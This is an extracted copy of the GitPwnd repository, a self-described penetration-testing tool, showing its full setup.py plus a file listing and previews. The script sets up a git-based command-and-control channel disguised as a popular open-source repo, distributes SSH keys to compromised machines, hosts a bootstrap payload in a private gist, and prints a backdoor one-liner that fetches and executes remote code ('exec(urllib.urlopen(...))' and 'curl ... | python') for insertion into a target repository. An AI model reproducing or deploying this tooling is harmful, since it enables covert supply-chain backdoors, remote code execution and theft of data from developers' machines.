SETUP_DIR = "data" # where we store various setup files, like the initial clone of c2 repo
REPO_DIR = os.path.abspath(os.path.join(SETUP_DIR, "repos"))
SSH_KEY_DIR = os.path.abspath(os.path.join(SETUP_DIR, "ssh_keys"))
def print_logo():
print(LOGO)
def print_initial_overview():
overview = """
############
# Overview #
############
Here's how GitPwnd works... TODO
...
See Black Hat talk slides/whitepaper for details TODO.
"""
requirements = """
################
# Requirements #
################
TODO: make this thorough and complete
You're going to need the following to run GitPwnd:
* A GitHub account with the ability to create private repos.
* An API access key for that GitHub account
* A second GitHub account.
* SSH keys for this account will be distributed to compromised machines,
so minimize the other repos this GitHub account has access to.
* A network-accessible server, for example hosted on AWS, DigitalOcean, etc.
* A link to a popular open source repo that logically fits into the ecosystem of your target.
* TODO...
"""
print(overview)
print(requirements)
def print_intro():
print_logo()
print_initial_overview()
def setup(setup_dir):
print("Running setup...")
print("[*] Making directory to store intermediate setup files: %s" % os.path.abspath(setup_dir))
if not os.path.exists(setup_dir):
os.makedirs(setup_dir)
print("[*] Making directories to store git repos and generated SSH keys...")
for d in [REPO_DIR, SSH_KEY_DIR]:
print("- %s" % d)
if not os.path.exists(d):
os.makedirs(d)
# Make sure git is installed
git_path = shutil.which("git")
if git_path is None:
print("[!] git not installed. Please install git to use GitPwnd")
exit(1)
def create_c2_repo(setup_dir, config):
msg = """
#########################################
# Creating command and control git repo #
#########################################
We're going to clone a popular git repo and use it for command and control;
that is, we'll push commands to compromised machines in the git repo, which the
victim machine will pull, run the commands, commit the results, then push,
which our server will then receive and store for your later viewing.
First, choose a popular open source repo in the language that your target uses.
For example, if you're targeting a company that predominantly uses Rails, choose
a popular Ruby gem.
The goal is to choose something that will look innocuous on compromised
machines if a developer or sys admin is reviewing installed libraries.
"""
print(msg)
# TODO: break this into sub methods or sub classes
############################################################
# Get the name of benign repo we're going to mirror for c2 #
############################################################
if not "benign_repo" in config:
benign_repo = input("Enter the git clone URL of a popular repo: ")
benign_repo = benign_repo.strip()
config["benign_repo"] = benign_repo
config["benign_repo_name"] = config["benign_repo"].split("/")[-1].replace(".git", "")
config["benign_repo_path"] = os.path.abspath(os.path.join(setup_dir, config["benign_repo_name"]))
try:
print("[*] Cloning repo to: %s" % config["benign_repo_path"])
if os.path.exists(config["benign_repo_path"]):
print("[?] Looks like benign repo has already been cloned, skipping")
print(" If this is incorrect, please delete: %s" % config["benign_repo_path"])
else:
clone_output = subprocess.check_output("git clone %s %s" %
(config["benign_repo"], config["benign_repo_path"]), shell=True)
except subprocess.CalledProcessError:
print("[!] Error cloning")
print(clone_output)
exit(1)
print("""
Now we're going to mirror the history of the benign repo you just provided in
git repo you control, which will be used for command and control.
In order for this script to automatically set up the command and control GitHub
repo for you, you'll need to provide a GitHub personal access token.
Perform the following steps to create a GitHub personal access token:
1. Log into GitHub.
2. Click on your profile icon in the top right and select "Settings."
3. Click on "Personal access tokens" under Developer settings on the left.
4. Give the token a description and the following permissions:
- The top-level checkbox for "repo"
- The top-level checkbox for "admin:repo_hook"
- "gist"
- "delete_repo"
5. Click the "Generate token" button.
NOTE: this setup script does not save this access token, so make sure to save a
copy somewhere safe if you want to re-run this script later.
""")
if not "main_github_token" in config:
config["main_github_token"] = input("Please enter your GitHub personal access token: ")
g = Github(config["main_github_token"])
g_user = g.get_user()
config["main_github_username"] = g_user.login
if not "github_c2_repo_name" in config:
config["github_c2_repo_name"] = input("Enter the name of the c2 repo to create on GitHub (%s): " % config["benign_repo_name"])
# Default to the name of the benign repo
if config["github_c2_repo_name"] == "":
config["github_c2_repo_name"] = config["benign_repo_name"]
should_sync_c2_history = True # are we going to push the benign git history to the newly created c2 git repo?
config["primary_clone_url"] = "https://%s@github.com/%s/%s.git" % (config["main_github_token"],
config["main_github_username"], config["github_c2_repo_name"])
print("[*] Creating private GitHub repo: %s/%s" % (config["main_github_username"], config["github_c2_repo_name"]) )
try:
config["github_c2_git_url"] = "https://github.com/%s/%s.git" % (config["main_github_username"], config["github_c2_repo_name"])
benign_description = g.get_repo("/".join(config["benign_repo"].split("/")[-2:]).replace(".git", "")).description
g_repo = g_user.create_repo(config["github_c2_repo_name"], description=benign_description, private=True)
# g_repo.git_url - this will be like: git://github.com/username/repo.git
# Can't use ^, need to use https:// git path so we can use the token
except GithubException as gexc:
if gexc.data["errors"][0]["message"] == "name already exists on this account":
print("[!] There's already a repo with this name.")
choice = input("[?] Leave this repo alone and continue? (y/n): ")
if choice.lower() == "y":
should_sync_c2_history = False
else:
choice = input("[?] Delete this repo? (y/n): ")
if choice.lower() == "y":
try:
g_repo = g.get_repo("%s/%s" % (config["main_github_username"], config["github_c2_repo_name"]))
g_repo.delete()
print("[!] Deletion successful! Please re-run the setup script.")
except GithubException as gexc:
print("[!] %s" % (gexc.data["errors"][0]["message"]))
exit(1)
else:
print("[!] Please delete this repo and re-run the setup script")
exit(1)
else:
print("[!] Creating repo failed.")
ipdb.set_trace()
print(" - Can your account create private repos?")
exit(1)
except Exception as exc:
print("[!] Creating repo failed.")
ipdb.set_trace()
exit(1)
if should_sync_c2_history:
sync_c2_history(config)
else:
print("[*] Skipping sending the benign git repo's history to the newly created repo")
return config
# Sync the history of the newly created private GitHub repo used for command and control
# with the history of the benign repo, to make it seem innocuous on disk.
def sync_c2_history(config):
print("[*] Syncing the benign git repo's history to the newly created repo")
orig_dir = os.path.abspath(os.curdir)
# cd into cloned git repo to do git munging there
os.chdir(config["benign_repo_path"])
# Push history and tags
subprocess.check_output("git push --all --repo " + config["primary_clone_url"], shell=True)
subprocess.check_output("git push --tags --repo " + config["primary_clone_url"], shell=True)
# Make this local git repo point to our new c2 repo on GitHub
subprocess.check_output("git remote remove origin", shell=True)
subprocess.check_output("git remote add origin " + config["primary_clone_url"], shell=True)
subprocess.check_output("git pull origin master", shell=True)
subprocess.check_output("git branch --set-upstream-to=origin/master master", shell=True)
os.chdir(orig_dir)
def get_secondary_account_access_token(config):
if not "secondary_github_token" in config:
tmp = input("[*] Please enter a personal access token for a secondary GitHub account: ")
config["secondary_github_token"] = tmp.strip()
return config
def generate_ssh_key_for_c2_repo(config):
print("""
#########################
# Creating SSH Key Pair #
#########################
This will be added to the secondary GitHub account and distributed
to compromised machines.
""")
passwd = "" # Don't use a password for the SSH key
email = "john.doe@example.com"
# Provide a default value, don't want to overwhelm people with options
if not "ssh_key_name" in config:
config["ssh_key_name"] = "gitpwnd"
config["ssh_key_path"] = os.path.join(SSH_KEY_DIR, config["ssh_key_name"])
if os.path.exists(config["ssh_key_path"]):
print("[!] SSH key already exists, continuing without generating a new one")
else:
print("[*] Generating new SSH key pair")
subprocess.check_output("ssh-keygen -P '" + passwd + "' -f " + config["ssh_key_path"] + " -C " + email, shell=True)
print("- %s" % config["ssh_key_path"])
print("")
return config
def add_ssh_key_to_github_account(github_token, ssh_key_path):
pub_key_contents = open(ssh_key_path + ".pub", 'r').read().strip()
pub_key_no_comment = " ".join(pub_key_contents.split(" ")[0:2])
g = Github(github_token)
g_user = g.get_user()
# Check if we've already added this key
if not pub_key_no_comment in [key_obj.key for key_obj in g_user.get_keys()]:
print("[*] Adding generated key to: %s" % g_user.login)
g_user.create_key("gitpwnd", pub_key_contents)
else:
print("[!] Looks like %s already has this public key, not adding it to account" % g_user.login)
# Add the secondary user to the git c2 repo as a collaborator
def add_collaborator(main_github_token, github_c2_repo_name, secondary_github_token):
g = Github(main_github_token)
g_user = g.get_user()
repo = g_user.get_repo(github_c2_repo_name)
g2 = Github(secondary_github_token)
g2_user = g2.get_user()
repo.add_to_collaborators(g2_user.login)
def create_private_gist(config, main_github_token, filename, content, description):
g = Github(main_github_token)
g_user = g.get_user()
gist = g_user.create_gist(False, {filename: github.InputFileContent(content)}, description)
# gists have a list of files associated with them, we just want the first one
# gist.files = {'filename': GistFile(filename), ...}
gist_file = [x for x in gist.files.values()][0]
config["gist_raw_contents_url"] = gist_file.raw_url
# The structure of the url is:
# https://gist.githubusercontent.com/<username>/<gist guid>/raw/<file guid>/<filename.txt>
#
# Since we're only uploading one file and we want to make the URL as concise as possible,
# it turns out we can actually trim off everything after /raw/ and it'll still give us what
# we want.
config["gist_raw_contents_url"] = config["gist_raw_contents_url"].split("/raw/")[0] + "/raw"
print("[*] Private gist content at:")
print("- %s" % config["gist_raw_contents_url"])
return config
# Return the content that will placed in the private gist
def get_bootstrap_content(config):
bootstrap_file = os.path.abspath(os.path.join(__file__, "..", "gitpwnd", "bootstrap.py.template"))
params = {"repo_clone_url": config["secondary_clone_url"],
"benign_repo": config["benign_repo"],
"github_c2_repo_name": config["github_c2_repo_name"]}
with open(bootstrap_file, 'r') as f:
templatized_bootstrap_file = string.Template(f.read())
return templatized_bootstrap_file.safe_substitute(params)
# After all the setup has been done, get the one liner that should be placed in a repo
def get_python_one_liner(gist_url):
# Note that `exec` is required for multiline statements, eval seems to only do simple expressions
# https://stackoverflow.com/questions/30671563/eval-not-working-on-multi-line-string
return "import urllib; exec(urllib.urlopen('%s').read())" % gist_url
def print_backdoor_instructions(config):
gist_url = config["gist_raw_contents_url"]
print("""
######################
# Backdoor one-liner #
######################
[*] Insert the following into the target git repo you're backdooring:
# Python
%s
You can also do something like:
$ curl %s | python
""" % (get_python_one_liner(gist_url), gist_url))
# Replace agent.py.template with customized info, copy to c2 repo,
# git add, commit, and push it so that the bootstrap.py gist can install
# it on compromised machines
def copy_agent_to_c2_repo(config):
agent_file = os.path.abspath(os.path.join(__file__, "..", "gitpwnd", "agent.py.template"))
params = {"repo_clone_url": config["secondary_clone_url"],
"remote_repo_name": "features", # we add the c2 repo as a remote
"remote_repo_master_branch": "master"}
_add_file_to_c2_repo(config, agent_file, params, "agent.py")
def copy_payload_to_c2_repo(config):
payload_file = os.path.abspath(os.path.join(__file__, "..", "gitpwnd", "payload.py.template"))
params = {}
_add_file_to_c2_repo(config, payload_file, params, "payload.py")
def _add_file_to_c2_repo(config, template_file_path, params, dest_path_in_c2_repo):
with open(template_file_path, 'r') as f:
templatized_file = string.Template(f.read())
dest_file = os.path.join(config["benign_repo_path"], dest_path_in_c2_repo)
with open(dest_file, "w") as f:
f.write(templatized_file.safe_substitute(params))
# Add file to the c2 repo
orig_dir = os.path.abspath(os.curdir)
# cd into cloned git repo to do git munging there
os.chdir(config["benign_repo_path"])
if "nothing to commit" not in str(subprocess.check_output("git status", shell=True)):
# Add agent.py and push
subprocess.check_output("git add %s" % dest_path_in_c2_repo, shell=True)
subprocess.check_output("git commit -m 'Add %s'" % dest_path_in_c2_repo, shell=True)
subprocess.check_output("git push --repo %s" % config["primary_clone_url"], shell=True)
os.chdir(orig_dir)
def create_c2_webhook(config):
print("[*] Creating GitHub webhook for C2 repo that will receive pushes from compromised machines ")
g = Github(config["main_github_token"])
g_user = g.get_user()
repo = g_user.get_repo(config["github_c2_repo_name"])
# this endpoint is defined in server/gitpwnd/controllers.py
webhook_endpoint = config["attacker_server"] + "/api/repo/receive_branch"
# We're using a self-signed cert, so we need to turn off TLS verification for now :(
# See the following for details: https://developer.github.com/v3/repos/hooks/#create-a-hook
hook_secret = str(uuid.uuid4())
params = {"url": webhook_endpoint, "content_type": "json", "secret": hook_secret, "insecure_ssl": "1"}
# PyGithub's create_hook doc:
# http://pygithub.readthedocs.io/en/latest/github_objects/Repository.html?highlight=create_hook
try:
repo.create_hook("web", params, ["push"], True)
except:
print("[!] Web hook already exists")
hook = repo.get_hooks()[0]
if "secret" not in hook.config.keys():
print("[!] Adding a secret to the hook...")
else:
hook_secret = input("Enter webhook secret (Github Repo > Settings > Webhooks > Edit > Inspect 'Secret' element): ")
new_hook_config = hook.config
new_hook_config["secret"] = hook_secret
hook.edit(name=hook.name, config=new_hook_config)
finally:
return hook_secret
# Automatically generate a new password for the gitpwnd server
# so we don't use a default one
def customize_gitpwnd_server_config(config):
print("[*] Generating a unique password for the gitpwnd server")
server_creds_template_file = os.path.abspath(os.path.join(__file__, "..", "server", "server_creds.yml.template"))
output_file = server_creds_template_file.replace(".template", "")
with open(server_creds_template_file, 'r') as f:
templatized_creds_file = string.Template(f.read())
params = {"basic_auth_password": str(uuid.uuid4()),
"benign_repo_path": config["benign_repo_path"],
"hook_secret": config["hook_secret"]}
with open(output_file, 'w') as f:
f.write(templatized_creds_file.safe_substitute(params))
def print_accept_c2_invitation_instructions():
print("""IMPORTANT: Check the email for the secondary user and "accept"
the invitation to the newly created command and control repo.
Without doing this, the bootstrapping process executed on compromised machines
will fail.
""")
# The overall flow of the setup process
def main(setup_dir, repo_dir, ssh_key_dir):
print_intro()
print("""
----------------------------------
######################################
# Beginning GitPwnd setup process... #
######################################
""")
# Usage: python3 setup.py <optional path to config.yml>
if len(sys.argv) > 1:
config_path = sys.argv[1]
else:
print("[*] Using default config path of ./config.yml")
config_path = "./config.yml"
with open(config_path, 'r') as f:
config = yaml.load(f)
setup(setup_dir)
config = create_c2_repo(repo_dir, config)
config = get_secondary_account_access_token(config)
config = generate_ssh_key_for_c2_repo(config)
add_ssh_key_to_github_account(config["secondary_github_token"], config["ssh_key_path"])
add_collaborator(config["main_github_token"], config["github_c2_repo_name"], config["secondary_github_token"])
hook_secret = create_c2_webhook(config)
config["hook_secret"] = hook_secret
customize_gitpwnd_server_config(config)
# the clone URL compromised machines will use
config["secondary_clone_url"] = "https://%s@github.com/%s/%s.git" % (config["secondary_github_token"],
config["main_github_username"],
config["github_c2_repo_name"])
gist_content = get_bootstrap_content(config)
config = create_private_gist(config, config["main_github_token"],
"install.sh", gist_content, "Some description")
copy_agent_to_c2_repo(config)
copy_payload_to_c2_repo(config)
print_backdoor_instructions(config)
print_accept_c2_invitation_instructions()
if __name__ == "__main__":
main(SETUP_DIR, REPO_DIR, SSH_KEY_DIR)
gitextract_p06zdemw/ ├── .gitignore ├── README.md ├── config.yml.example ├── gitpwnd/ │ ├── agent.py.template │ ├── bootstrap.py.template │ └── payload.py.template ├── requirements.txt ├── server/ │ ├── README.md │ ├── gitpwnd/ │ │ ├── __init__.py │ │ ├── controllers.py │ │ ├── static/ │ │ │ ├── css/ │ │ │ │ └── prism.css │ │ │ └── js/ │ │ │ └── prism.js │ │ ├── templates/ │ │ │ ├── index.html │ │ │ ├── layout.html │ │ │ ├── macros.html │ │ │ ├── nodes.html │ │ │ └── setup.html │ │ └── util/ │ │ ├── __init__.py │ │ ├── crypto_helper.py │ │ ├── file_helper.py │ │ ├── git_helper.py │ │ └── intel_helper.py │ ├── requirements.txt │ ├── run_ipython.sh │ ├── server.py │ ├── server_creds.yml.template │ └── tests/ │ ├── sample_intel.json │ └── test_intel_helper.py └── setup.py
SYMBOL INDEX (41 symbols across 7 files)
FILE: server/gitpwnd/controllers.py
function index (line 31) | def index():
function setup (line 36) | def setup():
function nodes (line 41) | def nodes():
function receive_branch (line 54) | def receive_branch():
FILE: server/gitpwnd/util/crypto_helper.py
class CryptoHelper (line 6) | class CryptoHelper:
method verify_signature (line 9) | def verify_signature(payload, secret):
FILE: server/gitpwnd/util/file_helper.py
class FileHelper (line 3) | class FileHelper:
method ensure_directory (line 7) | def ensure_directory(dirname):
FILE: server/gitpwnd/util/git_helper.py
class GitHelper (line 8) | class GitHelper:
method save_intel (line 12) | def save_intel(repo_name, branch_name, repo_path, intel_root):
method import_intel_from_branch (line 31) | def import_intel_from_branch(repo_name, branch_name, backdoored_repos_...
FILE: server/gitpwnd/util/intel_helper.py
class IntelHelper (line 5) | class IntelHelper:
method parse_node_dir (line 8) | def parse_node_dir(node_dir):
method parse_repo_dir (line 22) | def parse_repo_dir(repo_dir):
method parse_all_intel_files (line 43) | def parse_all_intel_files(intel_dir):
method json_prettyprint_intel (line 54) | def json_prettyprint_intel(intel_dict):
method annotate_intel_dict (line 67) | def annotate_intel_dict(intel_dict):
FILE: server/tests/test_intel_helper.py
class TestIntelHelper (line 6) | class TestIntelHelper(TestCase):
method get_sample_intel (line 7) | def get_sample_intel(self):
method test_parse_node_dir (line 12) | def test_parse_node_dir(self):
FILE: setup.py
function print_logo (line 32) | def print_logo():
function print_initial_overview (line 35) | def print_initial_overview():
function print_intro (line 65) | def print_intro():
function setup (line 69) | def setup(setup_dir):
function create_c2_repo (line 87) | def create_c2_repo(setup_dir, config):
function sync_c2_history (line 224) | def sync_c2_history(config):
function get_secondary_account_access_token (line 243) | def get_secondary_account_access_token(config):
function generate_ssh_key_for_c2_repo (line 250) | def generate_ssh_key_for_c2_repo(config):
function add_ssh_key_to_github_account (line 279) | def add_ssh_key_to_github_account(github_token, ssh_key_path):
function add_collaborator (line 294) | def add_collaborator(main_github_token, github_c2_repo_name, secondary_g...
function create_private_gist (line 305) | def create_private_gist(config, main_github_token, filename, content, de...
function get_bootstrap_content (line 329) | def get_bootstrap_content(config):
function get_python_one_liner (line 342) | def get_python_one_liner(gist_url):
function print_backdoor_instructions (line 347) | def print_backdoor_instructions(config):
function copy_agent_to_c2_repo (line 367) | def copy_agent_to_c2_repo(config):
function copy_payload_to_c2_repo (line 376) | def copy_payload_to_c2_repo(config):
function _add_file_to_c2_repo (line 382) | def _add_file_to_c2_repo(config, template_file_path, params, dest_path_i...
function create_c2_webhook (line 404) | def create_c2_webhook(config):
function customize_gitpwnd_server_config (line 439) | def customize_gitpwnd_server_config(config):
function print_accept_c2_invitation_instructions (line 453) | def print_accept_c2_invitation_instructions():
function main (line 462) | def main(setup_dir, repo_dir, ssh_key_dir):
Condensed preview — 29 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (89K chars).
[
{
"path": ".gitignore",
"chars": 137,
"preview": "*.pyc\n.DS_Store\n*~\n\n# These are auto-generated from a template\nbootstrap.py\nhomebrew.python.ncc.plist\nserver_creds.yml\n\n"
},
{
"path": "README.md",
"chars": 1597,
"preview": "# GitPwnd\n\nGitPwnd is a tool to aid in network penetration tests. GitPwnd allows an\nattacker to send commands to comprom"
},
{
"path": "config.yml.example",
"chars": 1857,
"preview": "# This file, if passed as the first argument to `setup.py`, will be used for\n# the values for setting up gitpwnd.\n\n# Ent"
},
{
"path": "gitpwnd/agent.py.template",
"chars": 7138,
"preview": "#!/usr/bin/env python\n\nimport os\nfrom subprocess import Popen, PIPE\nimport imp\nimport uuid\nimport string\n\n##############"
},
{
"path": "gitpwnd/bootstrap.py.template",
"chars": 8805,
"preview": "# This will be hosted in a private GitHub gist and piped into eval()\n# on a compromised node.\n#\n# It performs the follow"
},
{
"path": "gitpwnd/payload.py.template",
"chars": 4516,
"preview": "import sys\nimport os\nimport json\nfrom subprocess import Popen, PIPE\nimport uuid\nimport datetime\nimport pwd\n\nclass Payloa"
},
{
"path": "requirements.txt",
"chars": 21,
"preview": "PyGithub\npyyaml\nipdb\n"
},
{
"path": "server/README.md",
"chars": 922,
"preview": "# GitPwnd Server\n\nThe GitPwnd server listens for webhook pushes from GitHub (currently) or other\ngit providers that occu"
},
{
"path": "server/gitpwnd/__init__.py",
"chars": 1179,
"preview": "from flask import Flask\nfrom gitpwnd.util.file_helper import FileHelper\nfrom flask_basicauth import BasicAuth\nimport yam"
},
{
"path": "server/gitpwnd/controllers.py",
"chars": 1869,
"preview": "from flask import Flask\nfrom flask import render_template\nfrom flask import redirect\nfrom flask import url_for\nfrom flas"
},
{
"path": "server/gitpwnd/static/css/prism.css",
"chars": 2318,
"preview": "/* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */\n/**\n * prism.js default t"
},
{
"path": "server/gitpwnd/static/js/prism.js",
"chars": 10183,
"preview": "/* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */\nvar _self=\"undefined\"!=ty"
},
{
"path": "server/gitpwnd/templates/index.html",
"chars": 627,
"preview": "{% extends \"layout.html\" %}\n{% block body %}\n<h2>Home</h2>\n\n<p>Welcome to GitPwnd! GitPwnd is a network penetration tool"
},
{
"path": "server/gitpwnd/templates/layout.html",
"chars": 2132,
"preview": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\n<!-- http://flask.pocoo.org/docs/0.12/tutorial/templates/ -->\n<title>GitPwnd</t"
},
{
"path": "server/gitpwnd/templates/macros.html",
"chars": 520,
"preview": "{# Macros for nodes.html #}\n\n{% macro display_intel(intel_name, intel_value, type='string') -%}\n<h5>{{intel_name}}</h5>\n"
},
{
"path": "server/gitpwnd/templates/nodes.html",
"chars": 777,
"preview": "{% extends \"layout.html\" %}\n{% block body %}\n\n{% import 'macros.html' as macros %}\n\n<h2>Nodes</h2>\n\nThis page lists all "
},
{
"path": "server/gitpwnd/templates/setup.html",
"chars": 258,
"preview": "{% extends \"layout.html\" %}\n{% block body %}\n<h2>Setup</h2>\n\n<p>See <code>gitpwnd/README.md</code> for how to set up Git"
},
{
"path": "server/gitpwnd/util/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "server/gitpwnd/util/crypto_helper.py",
"chars": 382,
"preview": "import hmac\nimport hashlib\n\nfrom gitpwnd import app\n\nclass CryptoHelper:\n\n @staticmethod\n def verify_signature(pay"
},
{
"path": "server/gitpwnd/util/file_helper.py",
"chars": 201,
"preview": "import os\n\nclass FileHelper:\n\n @staticmethod\n # Create a directory if it doesn't exist\n def ensure_directory(di"
},
{
"path": "server/gitpwnd/util/git_helper.py",
"chars": 1737,
"preview": "import os\nimport json\nimport git # gitpython\n\nfrom gitpwnd import app\nfrom gitpwnd.util.file_helper import FileHelper\n\n"
},
{
"path": "server/gitpwnd/util/intel_helper.py",
"chars": 3379,
"preview": "import json\nimport os\n\n# Helper class for\nclass IntelHelper:\n\n @staticmethod\n def parse_node_dir(node_dir):\n "
},
{
"path": "server/requirements.txt",
"chars": 431,
"preview": "appnope==0.1.0\nbackports.shutil-get-terminal-size==1.0.0\nclick==6.6\ndecorator==4.0.10\nFlask==1.0\nipdb==0.10.1\nipython==5"
},
{
"path": "server/run_ipython.sh",
"chars": 77,
"preview": "#!/usr/bin/env python2.7\n\nfrom IPython import start_ipython\nstart_ipython()\n\n"
},
{
"path": "server/server.py",
"chars": 317,
"preview": "from gitpwnd import app # defined in gitpwnd/__init__.py\n\n#################\n# Server config #\n#################\n\napp.se"
},
{
"path": "server/server_creds.yml.template",
"chars": 140,
"preview": "basic_auth_username: \"gitpwnd\"\nbasic_auth_password: \"$basic_auth_password\"\nbenign_repo_path: \"$benign_repo_path\"\nhook_se"
},
{
"path": "server/tests/sample_intel.json",
"chars": 11505,
"preview": "{\"service_configs\": {\"syslog\": {\"stdout\": \"\", \"stderr\": \"cat: /etc/syslog.conf: No such file or directory\\n\"}, \"chttp\": "
},
{
"path": "server/tests/test_intel_helper.py",
"chars": 668,
"preview": "import unittest\nfrom unittest import TestCase\nimport json\nimport os\n\nclass TestIntelHelper(TestCase):\n def get_sample"
},
{
"path": "setup.py",
"chars": 20238,
"preview": "import os\nimport shutil\nimport subprocess\nimport github\nfrom github import Github, GithubException\nfrom subprocess impor"
}
]
About this extraction
This page contains the full source code of the nccgroup/gitpwnd GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 29 files (82.0 KB), approximately 24.9k tokens, and a symbol index with 41 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.